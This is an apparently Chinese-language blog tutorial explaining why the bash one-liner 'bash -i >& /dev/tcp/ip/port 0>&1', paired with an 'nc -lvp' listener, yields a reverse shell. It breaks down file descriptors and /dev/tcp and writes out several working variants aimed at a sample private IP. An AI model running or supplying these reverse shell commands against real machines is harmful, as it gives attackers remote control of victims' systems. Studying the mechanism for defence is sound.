bash反弹shell原理和思考
前言
Linux下,一条bash命令就可以反弹出shell。之前不求甚解的复现,突然有了一个疑问,为什么这样就能实现shell反弹?又重新学习了一下bash,这是一篇关于bash反弹原理的介绍。
反弹shell命令如下
受害者:
bash -i >& /dev/tcp/ip/port 0>&1
攻击者
nc -lvp port
反弹 shell 的本质
接下来依次解释一下上面两条命令的意思。
1.bash -i
1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
2)-i (interact)这个参数表示的是产生交互式的shell
2.>&
对于这个要先了解Linux下的linux文件描述符的概念,linux shell下有三种标准的文件描述符:
0是 stdin 代表着标准输入,使用<或者<<
1是 stdout 代表着标准输出,使用>或者>>
2是 stderr 代表着标准错误输出,因为也是输出,所以也是>或者>>,但是为了区别std,所以使用2>或2>>。
在默认的条件下是0。>&符号链接在一起就是把输入重定向的意思。
3./dev/tcp/ip/port
对于/dev/tcp/ip/port是特殊设备文件(因为Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,其作用是让本机与目标主机通过指定端口建立tcp连接。
4.0>&1
最后0>&1(放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符)是把前面的输入重定向给了输出。
5.命令合成
bash -i >/dev/tcp/192.168.80.131/3333
bash -i < /dev/tcp/192.168.27.131/3333
bash -i > /dev/tcp/192.168.80.131/3333 0>&1
而此时攻击者的命令还会在受害者电脑上输出,我们可以用混合输出(错误、正确输出都输出到一个地方)解决一下这个问题:
bash -i > /dev/tcp/192.168.80.131/3333 0>&1 2>&1
当然我们也可以执行与之完全等价的指令
bash -i >& /dev/tcp/192.168.80.131/3333 0>&1
bash -i >& /dev/tcp/192.168.80.131/3333 0<&1
这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。
END
至此,反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了